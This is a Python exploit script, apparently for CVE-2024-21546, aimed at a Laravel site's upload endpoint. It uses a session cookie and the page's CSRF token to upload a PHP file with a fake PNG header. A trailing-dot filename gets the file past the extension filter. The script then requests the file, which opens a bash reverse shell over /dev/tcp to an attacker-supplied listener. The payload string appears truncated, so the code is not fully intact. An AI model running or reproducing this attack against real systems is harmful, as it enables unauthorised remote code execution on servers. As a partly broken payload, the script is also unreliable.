import sys import requests import re import random import string def ensure_url_structure(target): if not target.startswith(('http://', 'https://')): print("[-] URL missing scheme (http:// or https://), adding http:// by default.") target = "http://" + target if not target.endswith('/'): target += '/' return target def validate_session(target, session_value): url = f"{target}management/dashboard" #Feel free to modify the path cookies = {'laravel_session': session_value} response = requests.get(url, cookies=cookies) return "logout" in response.text.lower() or response.status_code == 200 def get_csrf_token(target, session_value): url = f"{target}" cookies = {'laravel_session': session_value} response = requests.get(url, cookies=cookies) # Regex to extract _token value from HTML match = re.search(r'name="_token"\s+value="([^"]+)"', response.text) return match.group(1) if match else None def random_filename(length=6): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def upload_shell(target, session_value, csrf_token, listener_ip, listener_port, filename): url = f"{target}upload" # Adjust upload endpoint if needed boundary = "----WebKitFormBoundarysBLElj9BbeeJcfkB" headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}' } shell_payload = ( b"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" + f"& /dev/tcp/{listener_ip}/{listener_port} 0>&1'\"); ?>".encode() ) # Manually build the multipart form body data = ( f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"_token\"\r\n\r\n" f"{csrf_token}\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"upload\"; filename=\"{filename}.php.\"\r\n" #Bypassing restriction by adding a dot (CVE-2024-21546) f"Content-Type: image/png\r\n\r\n" ).encode() + shell_payload + f"\r\n--{boundary}--\r\n".encode() cookies = {'laravel_session': session_value} response = requests.post(url, headers=headers, cookies=cookies, data=data) print(f"[+] Upload status: {response.status_code}") print(response.text) def main(): if len(sys.argv) != 5: print("Usage: python3 CVE-2024-21546.py ") sys.exit(1) target_url, listener_ip, listener_port, session_value = sys.argv[1:] target = ensure_url_structure(target_url) print("[*] Validating session...") if not validate_session(target, session_value): print("[-] Invalid session.") sys.exit(1) print("[+] Session is valid.") print("[*] Fetching CSRF token...") csrf_token = get_csrf_token(target, session_value) if not csrf_token: print("[-] Failed to retrieve CSRF token.") sys.exit(1) print(f"[+] Got CSRF token: {csrf_token}") print("[*] Uploading reverse shell...") filename = random_filename() upload_shell(target, session_value, csrf_token, listener_ip, listener_port, filename) print("[+] Triggering the reverse shell...") try: requests.get(f"{target}storage/files/{filename}.php", timeout=5) except requests.exceptions.RequestException: pass print("[+] Done. If listener is up, you should have a shell.") sys.exit(0) if __name__ == "__main__": main()